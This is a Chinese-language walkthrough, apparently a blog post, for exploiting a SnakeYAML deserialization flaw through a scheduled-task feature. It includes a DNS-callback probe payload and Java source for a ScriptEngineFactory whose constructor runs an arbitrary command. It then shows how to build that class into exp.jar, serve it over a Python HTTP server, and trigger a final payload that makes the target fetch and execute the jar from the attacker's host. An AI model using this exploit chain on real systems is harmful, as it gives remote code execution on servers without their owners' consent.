Snakeyml反序列化漏洞利用

DNS回弹

创建一个定时任务，如下

1	org.yaml.snakeyaml.Yaml.load('!!javax.script.ScriptEngineManager [!!java.net.URLClassLoader [[!!java.net.URL ["http://DNSLOG的地址"]]]]')

如果dnslog有回显的话，就可以继续之后的步骤了

编译jar

需要注意的是，编译jar时的jdk环境必须和目标的jdk环境一致！！

先下载下面的项目

https://github.com/artsploit/yaml-payload

进入/src/artsploit/AwesomeScriptEngineFactory.java中修改自己需要执行的命令

package artsploit;

import javax.script.ScriptEngine;
import javax.script.ScriptEngineFactory;
import java.io.IOException;
import java.util.List;

public class AwesomeScriptEngineFactory implements ScriptEngineFactory {

    public AwesomeScriptEngineFactory() {
        try {
            Runtime.getRuntime().exec("命令");
        } catch (IOException e) {
            e.printStackTrace();
        }
    }

    @Override
    public String getEngineName() {
        return null;
    }

    @Override
    public String getEngineVersion() {
        return null;
    }

    @Override
    public List<String> getExtensions() {
        return null;
    }

    @Override
    public List<String> getMimeTypes() {
        return null;
    }

    @Override
    public List<String> getNames() {
        return null;
    }

    @Override
    public String getLanguageName() {
        return null;
    }

    @Override
    public String getLanguageVersion() {
        return null;
    }

    @Override
    public Object getParameter(String key) {
        return null;
    }

    @Override
    public String getMethodCallSyntax(String obj, String m, String... args) {
        return null;
    }

    @Override
    public String getOutputStatement(String toDisplay) {
        return null;
    }

    @Override
    public String getProgram(String... statements) {
        return null;
    }

    @Override
    public ScriptEngine getScriptEngine() {
        return null;
    }
}

然后使用javac，将这个java类编译成class

1	javac xxx.java

最后使用jar将整个项目编译成一个exp.jar文件

1	jar -cvf exp.jar -C /src/ .

Web服务

使用python3开启http服务，需要在exp.jar的文件夹下执行

1	python -m http.server --cgi 端口

定时任务执行命令

1	org.yaml.snakeyaml.Yaml.load('!!javax.script.ScriptEngineManager [!!java.net.URLClassLoader [[!!java.net.URL ["http://你的服务器地址:端口/exp.jar"]]]]')